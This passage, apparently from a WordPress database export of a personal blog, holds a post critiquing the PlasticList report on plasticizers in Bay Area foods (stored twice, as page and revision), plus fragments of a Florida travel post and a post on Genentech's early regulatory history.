disrepair</a>&nbsp;after being bought by developers from Miami in a firesale. The other one, the Colony, has been&nbsp;<a href=\"https://www.sarasotamagazine.com/news-and-profiles/the-collapse-of-the-colony\">demolished completely</a>. Sudden rises to and falls from grace are par for the course in Florida. I assume my parents’ gated community will also suddenly fall apart in 20 years.</p>\n<!-- /wp:paragraph -->','Reflections on a brief visit to Florida','','inherit','closed','closed','','506-revision-v1','','','2025-07-03 19:33:17','2025-07-03 19:33:17','',506,'https://trevorklee.com/?p=507',0,'revision','',0),
(508,1,'2025-07-03 19:34:12','2025-07-03 19:34:12','<!-- wp:paragraph -->\n<p>As you may recall, over the summer I wrote a piece about determining&nbsp;<a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics\">the safety of microplastics</a>, inspired in part by Nat Friedman’s announced effort to sample a bunch of food for microplastics. Well, 7 months later, Nat’s microplastics effort is out, and it’s interesting. Not perfect, not without problems, but interesting.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I want to talk a bit about some interesting findings from the projects, along with caveats, analysis of the method, and suggestions for future work. But, before I do that, I just want to applaud Nat for this effort. Nat organized a big, expensive effort to do science in the public interest, contributing a fair amount of his own time and money to do something he considered valuable. I think that’s incredibly cool, and, frankly, an inspiration for me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ok, enough plaudits. Let’s dig into it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Brief overview of the report</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The PlasticList is a 300 item list of foods and some consumer items. These range from tap water, to grocery store steaks, to fast-food hamburgers, to tampons. Each of these items was obtained from somewhere in the Bay Area, blended up, and analyzed for plasticizers, which are chemicals used in the making of different sorts of plastic.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most of the plasticizers that these items were analyzed for have some evidence of negative health consequences. A few of the plasticizers do not. The items were not checked for anything else (e.g. actual plastics or heavy metals). Most items had replicates, meaning that multiple of the same item were tested (i.e. multiple Fiji water bottles).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!TDIy!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F603080dc-68a5-4c73-98ce-56ce47b3a4d6_2679x1324.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!TDIy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F603080dc-68a5-4c73-98ce-56ce47b3a4d6_2679x1324.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">A link to&nbsp;<a href=\"https://www.plasticlist.org/\">the PlasticList itself</a>.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The methodology, which I’ll get into later, was ok but not amazing. So, assume all of my conclusions are with a low degree of confidence. Anything I state should be assumed to be a call for replication and future investigation, not a definitive claim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Interesting findings</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>1. The water, both tap and bottled, is generally good</strong>. I, like many of you, drink a lot of water. Water contamination would be bad. Fortunately, the water quality, both tap and non-tap, generally seems pretty good.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are a few worrying signals, such as one crazy high DEHT signal from the tap water Fort Mason, a neighborhood in San Francisco, but that one didn’t seem to replicate. The only one that I think I’d be confident that is probably bad is the tap water from Hayes Valley, which consistently shows a high DEHT signal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2.&nbsp;<strong>Seafood, steak, and chicken are all bad.</strong>&nbsp;Nat’s team tested 3 different varieties of Whole Foods salmon (smoked, farm raised, and wild caught) and one variety of canned tuna. All seafood tested had worryingly high levels of plasticizers, with the canned tuna being especially bad for BPA and the Whole Foods salmon being especially bad for DEHT.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Similarly, all steak and chicken tested, both from the local butcher and from Whole Foods, was bad for plasticizers. Organic steak and chicken was no exception.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>3. Vegetables have low levels of plasticizers.&nbsp;</strong>While Whole Foods vegetables were the only vegetables tested, all vegetables tested had some level of plasticizers. Lettuce was the worst of the bunch (no pun intended).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>4. Almost all beverages that come from a store in a plastic or plastic-y paper cup were bad, whether cold or hot</strong>.&nbsp;<strong>Metal and glass were ok</strong>. Iced coffee, hot coffee, milkshakes, and Gatorade were all bad for various sorts of plasticizers. Flexible plastic cups for cold drinks (i.e. the ones used for bubble tea) seemed to be the worst of the bunch. Metal and glass containers generally got off ok.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>5. Fast food is bad, regardless of what you get</strong>. Unsurprisingly given the above, all fast food hamburgers, salads (including Sweetgreen), and drinks were bad for plasticizers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>6. Takeout containers don’t make an obvious difference.&nbsp;</strong>Indian food at the restaurant had sometimes higher levels of plasticizers than takeout Indian and sometimes lower.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>7. Microwaving reduces plasticizers.&nbsp;</strong>One very consistent signal is that the plasticizers in prepared foods&nbsp;<em>decreased</em>&nbsp;after microwaving. This happened across foods and across plasticizers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Tentative conclusions</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>1. Plasticizers accumulate up the food chain</strong>. Water occasionally has plasticizers. Vegetables always have a low level of plasticizers. Meat, including chicken, steak, and fish, always has a high level of plasticizers. This suggests accumulation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>2. Heating often destroys plasticizers</strong>. Microwaving seems to destroy plasticizers. Letting takeout food cool down or leaving water bottles in the sun doesn’t seem to reliably increase plasticizers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>3. Plasticizers leach from polypropylene and LDPE.&nbsp;</strong>The worst offenders for plastic bottles seem to all be polypropylene bottles, such as the Starbucks cups. Paper cups lined with low density polyethylene also seem bad. Polyethylene terephthalate, which is what disposable water bottles are made of, do not seem to leach plasticizers as much.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>4. BPA is still a problem, although less so than in the past.&nbsp;</strong>People have been talking about the dangers of BPA for decades. Somehow, Boba Guys still has significant amounts of it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Caveats and compliments about the PlasticList methodology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The PlasticList team clearly put in a lot of time and effort into making this the best project that they could. There’s a lot I like about what they did, and they’ve definitely provided me with some food (and plasticizers) for thought. I’ll put a list of what I liked below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, I have two big complaints about this piece, and a bunch of little ones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">PlasticList should have engaged better with the prior literature</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As I wrote in my piece 7 months ago, other people have done similar reports to this one, showing that various food items have plasticizers in them. Nat’s team didn’t really build off of that work, and instead tested a bunch of random items.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As a result, a lot of the team’s work can be summarized as “many of the food items and some of the consumer items in the Bay Area have plasticizers in them”, which is exactly what I predicted their work would turn out to be 7 months ago. I would have much preferred them to try to explain, support, or refute prior literature, especially given the $500k (which is a lot!) at their disposal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Engaging with the prior literature would have also helped them avoid my second major complaint, which is…</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">PlasticList’s testing should have been hypothesis-driven</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Testing 300 items for 18 different plasticizers produces a lot of data. Unfortunately, as any good scientist can tell you, a lot of data means a lot of noise. Some of that noise is interesting, like sudden spikes in plasticizers from one water sample to the next or high levels of plasticizers in Whole Foods salmon.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If the PlasticList had followed up on that, like testing those water samples repeatedly to see if there are any time-related patterns in when plasticizers spike or testing salmon from multiple different grocery stores, we could make strong conclusions from that data. As it is, all I can say is “sometimes Bay Area tap water might have high level of plasticizers” or “Bay Area Whole Foods salmon might have high levels of plasticizers depending on the store or time of year”, which are not strong conclusions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Assorted complaints</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>1. They needed more replications per item, especially when the item had very high levels of plasticizers. Some items, like the Chipotle Burrito, were only tested once.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. They needed more samples per purchased item. As far as I can tell, their replications were done by purchasing another of that item (i.e. another Coke can), but never done twice on the same purchased product. This leaves open the possibility of instrumental error.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. They needed a better protocol for testing parts of complex items. All items were blended before testing, which makes it impossible to tell where the plasticizers are located in say, a hamburger.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Their presentation is biased towards showing higher levels of plasticizers. If you look below, it looks like the items at the bottom have a higher level of DIDA. But that’s inaccurate. All items were below the lower limit of quantitation. It would have been better to just put LLOQ, as is industry standard.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!lAby!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F140176d9-e6fd-4a7f-ab2b-7b34ec797f15_300x959.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!lAby!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F140176d9-e6fd-4a7f-ab2b-7b34ec797f15_300x959.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Assorted compliments</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>1. They are very open about where, how, and when they got their items, making it easy to trace and reassuring me that they were careful with sample handling.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. They thought a lot about how to make sure the analysis was accurate, including careful selection of the lab, recruitment of expert help, and collecting and shipping samples.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Their results are free, open to the public, and easily searchable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. They tried to analyze their results in&nbsp;<a href=\"https://www.plasticlist.org/report\">a report</a>. I don’t think it’s a great report, to be honest. It’s difficult to navigate; averages together values I don’t think should be averaged; and doesn’t follow any best practices for writing, presenting, or analyzing scientific data. There’s no way it would ever be published in a journal. But I appreciate the effort.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Suggestions for future work</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>My suggestions for future work remain the same as they did in my original microplastics piece: either go further upstream, to figure out the source of microplastics, or downstream, to figure out the consequences.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Upstream, we can try to determine how water sourcing, ingredient sourcing, cooking methods, and packaging methods influence the amount of microplastics in foods.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Downstream, we can look at specific populations to see the effects of microplastics. According to PlasticList, Stanford University has high levels of microplastics in their dining hall food. I’d bet there are a fair number of students who eat 3 meals of dining hall food every day at Stanford for 4 years. I’d also bet there are a few students who never eat dining hall food. Doing a survey to see if there are any detectable health differences between these students would be an easy enough place to start.</p>\n<!-- /wp:paragraph -->','A brief analysis of the PlasticList Report','','publish','closed','closed','','a-brief-analysis-of-the-plasticlist-report','','','2025-07-03 19:34:12','2025-07-03 19:34:12','',0,'https://trevorklee.com/?page_id=508',0,'page','',0),
(509,1,'2025-07-03 19:34:12','2025-07-03 19:34:12','<!-- wp:paragraph -->\n<p>As you may recall, over the summer I wrote a piece about determining&nbsp;<a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics\">the safety of microplastics</a>, inspired in part by Nat Friedman’s announced effort to sample a bunch of food for microplastics. Well, 7 months later, Nat’s microplastics effort is out, and it’s interesting. Not perfect, not without problems, but interesting.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I want to talk a bit about some interesting findings from the projects, along with caveats, analysis of the method, and suggestions for future work. But, before I do that, I just want to applaud Nat for this effort. Nat organized a big, expensive effort to do science in the public interest, contributing a fair amount of his own time and money to do something he considered valuable. I think that’s incredibly cool, and, frankly, an inspiration for me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ok, enough plaudits. Let’s dig into it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Brief overview of the report</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The PlasticList is a 300 item list of foods and some consumer items. These range from tap water, to grocery store steaks, to fast-food hamburgers, to tampons. Each of these items was obtained from somewhere in the Bay Area, blended up, and analyzed for plasticizers, which are chemicals used in the making of different sorts of plastic.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most of the plasticizers that these items were analyzed for have some evidence of negative health consequences. A few of the plasticizers do not. The items were not checked for anything else (e.g. actual plastics or heavy metals). Most items had replicates, meaning that multiple of the same item were tested (i.e. multiple Fiji water bottles).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!TDIy!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F603080dc-68a5-4c73-98ce-56ce47b3a4d6_2679x1324.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!TDIy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F603080dc-68a5-4c73-98ce-56ce47b3a4d6_2679x1324.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">A link to&nbsp;<a href=\"https://www.plasticlist.org/\">the PlasticList itself</a>.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The methodology, which I’ll get into later, was ok but not amazing. So, assume all of my conclusions are with a low degree of confidence. Anything I state should be assumed to be a call for replication and future investigation, not a definitive claim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Interesting findings</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>1. The water, both tap and bottled, is generally good</strong>. I, like many of you, drink a lot of water. Water contamination would be bad. Fortunately, the water quality, both tap and non-tap, generally seems pretty good.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are a few worrying signals, such as one crazy high DEHT signal from the tap water Fort Mason, a neighborhood in San Francisco, but that one didn’t seem to replicate. The only one that I think I’d be confident that is probably bad is the tap water from Hayes Valley, which consistently shows a high DEHT signal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2.&nbsp;<strong>Seafood, steak, and chicken are all bad.</strong>&nbsp;Nat’s team tested 3 different varieties of Whole Foods salmon (smoked, farm raised, and wild caught) and one variety of canned tuna. All seafood tested had worryingly high levels of plasticizers, with the canned tuna being especially bad for BPA and the Whole Foods salmon being especially bad for DEHT.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Similarly, all steak and chicken tested, both from the local butcher and from Whole Foods, was bad for plasticizers. Organic steak and chicken was no exception.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>3. Vegetables have low levels of plasticizers.&nbsp;</strong>While Whole Foods vegetables were the only vegetables tested, all vegetables tested had some level of plasticizers. Lettuce was the worst of the bunch (no pun intended).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>4. Almost all beverages that come from a store in a plastic or plastic-y paper cup were bad, whether cold or hot</strong>.&nbsp;<strong>Metal and glass were ok</strong>. Iced coffee, hot coffee, milkshakes, and Gatorade were all bad for various sorts of plasticizers. Flexible plastic cups for cold drinks (i.e. the ones used for bubble tea) seemed to be the worst of the bunch. Metal and glass containers generally got off ok.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>5. Fast food is bad, regardless of what you get</strong>. Unsurprisingly given the above, all fast food hamburgers, salads (including Sweetgreen), and drinks were bad for plasticizers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>6. Takeout containers don’t make an obvious difference.&nbsp;</strong>Indian food at the restaurant had sometimes higher levels of plasticizers than takeout Indian and sometimes lower.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>7. Microwaving reduces plasticizers.&nbsp;</strong>One very consistent signal is that the plasticizers in prepared foods&nbsp;<em>decreased</em>&nbsp;after microwaving. This happened across foods and across plasticizers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Tentative conclusions</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>1. Plasticizers accumulate up the food chain</strong>. Water occasionally has plasticizers. Vegetables always have a low level of plasticizers. Meat, including chicken, steak, and fish, always has a high level of plasticizers. This suggests accumulation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>2. Heating often destroys plasticizers</strong>. Microwaving seems to destroy plasticizers. Letting takeout food cool down or leaving water bottles in the sun doesn’t seem to reliably increase plasticizers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>3. Plasticizers leach from polypropylene and LDPE.&nbsp;</strong>The worst offenders for plastic bottles seem to all be polypropylene bottles, such as the Starbucks cups. Paper cups lined with low density polyethylene also seem bad. Polyethylene terephthalate, which is what disposable water bottles are made of, do not seem to leach plasticizers as much.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>4. BPA is still a problem, although less so than in the past.&nbsp;</strong>People have been talking about the dangers of BPA for decades. Somehow, Boba Guys still has significant amounts of it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Caveats and compliments about the PlasticList methodology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The PlasticList team clearly put in a lot of time and effort into making this the best project that they could. There’s a lot I like about what they did, and they’ve definitely provided me with some food (and plasticizers) for thought. I’ll put a list of what I liked below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, I have two big complaints about this piece, and a bunch of little ones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">PlasticList should have engaged better with the prior literature</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As I wrote in my piece 7 months ago, other people have done similar reports to this one, showing that various food items have plasticizers in them. Nat’s team didn’t really build off of that work, and instead tested a bunch of random items.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As a result, a lot of the team’s work can be summarized as “many of the food items and some of the consumer items in the Bay Area have plasticizers in them”, which is exactly what I predicted their work would turn out to be 7 months ago. I would have much preferred them to try to explain, support, or refute prior literature, especially given the $500k (which is a lot!) at their disposal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Engaging with the prior literature would have also helped them avoid my second major complaint, which is…</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">PlasticList’s testing should have been hypothesis-driven</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Testing 300 items for 18 different plasticizers produces a lot of data. Unfortunately, as any good scientist can tell you, a lot of data means a lot of noise. Some of that noise is interesting, like sudden spikes in plasticizers from one water sample to the next or high levels of plasticizers in Whole Foods salmon.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If the PlasticList had followed up on that, like testing those water samples repeatedly to see if there are any time-related patterns in when plasticizers spike or testing salmon from multiple different grocery stores, we could make strong conclusions from that data. As it is, all I can say is “sometimes Bay Area tap water might have high level of plasticizers” or “Bay Area Whole Foods salmon might have high levels of plasticizers depending on the store or time of year”, which are not strong conclusions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Assorted complaints</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>1. They needed more replications per item, especially when the item had very high levels of plasticizers. Some items, like the Chipotle Burrito, were only tested once.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. They needed more samples per purchased item. As far as I can tell, their replications were done by purchasing another of that item (i.e. another Coke can), but never done twice on the same purchased product. This leaves open the possibility of instrumental error.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. They needed a better protocol for testing parts of complex items. All items were blended before testing, which makes it impossible to tell where the plasticizers are located in say, a hamburger.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Their presentation is biased towards showing higher levels of plasticizers. If you look below, it looks like the items at the bottom have a higher level of DIDA. But that’s inaccurate. All items were below the lower limit of quantitation. It would have been better to just put LLOQ, as is industry standard.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!lAby!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F140176d9-e6fd-4a7f-ab2b-7b34ec797f15_300x959.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!lAby!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F140176d9-e6fd-4a7f-ab2b-7b34ec797f15_300x959.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Assorted compliments</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>1. They are very open about where, how, and when they got their items, making it easy to trace and reassuring me that they were careful with sample handling.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. They thought a lot about how to make sure the analysis was accurate, including careful selection of the lab, recruitment of expert help, and collecting and shipping samples.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Their results are free, open to the public, and easily searchable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. They tried to analyze their results in&nbsp;<a href=\"https://www.plasticlist.org/report\">a report</a>. I don’t think it’s a great report, to be honest. It’s difficult to navigate; averages together values I don’t think should be averaged; and doesn’t follow any best practices for writing, presenting, or analyzing scientific data. There’s no way it would ever be published in a journal. But I appreciate the effort.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Suggestions for future work</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>My suggestions for future work remain the same as they did in my original microplastics piece: either go further upstream, to figure out the source of microplastics, or downstream, to figure out the consequences.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Upstream, we can try to determine how water sourcing, ingredient sourcing, cooking methods, and packaging methods influence the amount of microplastics in foods.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Downstream, we can look at specific populations to see the effects of microplastics. According to PlasticList, Stanford University has high levels of microplastics in their dining hall food. I’d bet there are a fair number of students who eat 3 meals of dining hall food every day at Stanford for 4 years. I’d also bet there are a few students who never eat dining hall food. Doing a survey to see if there are any detectable health differences between these students would be an easy enough place to start.</p>\n<!-- /wp:paragraph -->','A brief analysis of the PlasticList Report','','inherit','closed','closed','','508-revision-v1','','','2025-07-03 19:34:12','2025-07-03 19:34:12','',508,'https://trevorklee.com/?p=509',0,'revision','',0),
(510,1,'2025-07-03 19:34:58','2025-07-03 19:34:58','<!-- wp:paragraph -->\n<p>Most people identify the founding of Genentech to commercialize recombinant DNA technology in 1976 as the founding of biotech as a field separate from pharmaceuticals or the health industry. Genentech brought together so many of the elements of biotechnology we now take for granted:<br><br>1. An exciting new technology that unlocked an entirely new way of treating diseases</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Rapid advancement of the technology from the laboratory to the real world</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Licensing of the technology from the universities where it was discovered</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Close involvement of the professors who invented the technology with a for-profit company</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5. Battles for patent rights</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6. Huge sums of money invested by venture capitalists with the promise of huge returns shortly thereafter</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>7. Strategic partnerships with existing pharmaceutical companies</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Before Genentech, none of those elements had ever been in play all at the same time. After Genentech, they happened again and again, with RNAi, CRISPR, and mRNAs. All of this is pretty well-known for people who are into biotech history (i.e. nerds).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What’s less well known is how big a factor regulation played in the founding of Genentech. At least, I personally was unaware of this until reading Sally Smith Hughes’s excellent book&nbsp;<em>Genentech: The Beginnings of Biotech</em>. Put simply, not only did regulations almost destroy Genentech before it began (and therefore biotech as an industry), but Genentech’s success as a company was in large part due to their success at dodging regulations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s difficult, looking back now, to understand what exactly everyone was so afraid of. Genentech’s stated purpose was to figure out how to make recombinant human insulin, or, to use everyone’s metaphor at the time, to make bacteria into factories for human insulin. This was a big deal, because the only sources of insulin prior to this were the pancreases of pigs and cows.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pig and cow insulin wasn’t nearly as good as human insulin, was more likely to cause an allergic reaction, and presented huge amounts of supply chain complexity. Recombinant human insulin was almost certainly going to be an improvement on every front, and, when it came on the market, it instantly was. Within a decade of synthetic human insulin’s approval, most patients switched to synthetic human insulin. Now, well over 99% of patients use synthetic human insulin, and diabetics are much better off for it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of these advantages were foreseen from the very beginning. And yet, from the very first announcement of successes in cloning DNA (the foundational technology of recombinant insulin) in 1973, the first reaction of the National Academy of Sciences and the National Institute of Medicine was to try to stop research into it and, simultaneously, to prevent any patenting of it. The National Institute of Health followed shortly thereafter with their own restrictions, as did a number of cities, including Cambridge and Berkeley, the towns where the universities most likely to do the research were located. Fears of superbugs, genetic chimeras, and companies owning life itself abounded (and still do, to be fair).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This was the environment that Genentech started in as a tiny company with only a few hundred thousand in funding. Their only real asset was their scientific co-founder, Herb Boyer, a professor who was one of the two pioneers of the field, although that advantage was mitigated by the fact that he had a full-time job as a research professor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!F6pc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F080014ae-5fef-4281-98b8-c4dba2358bbc_516x646.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img 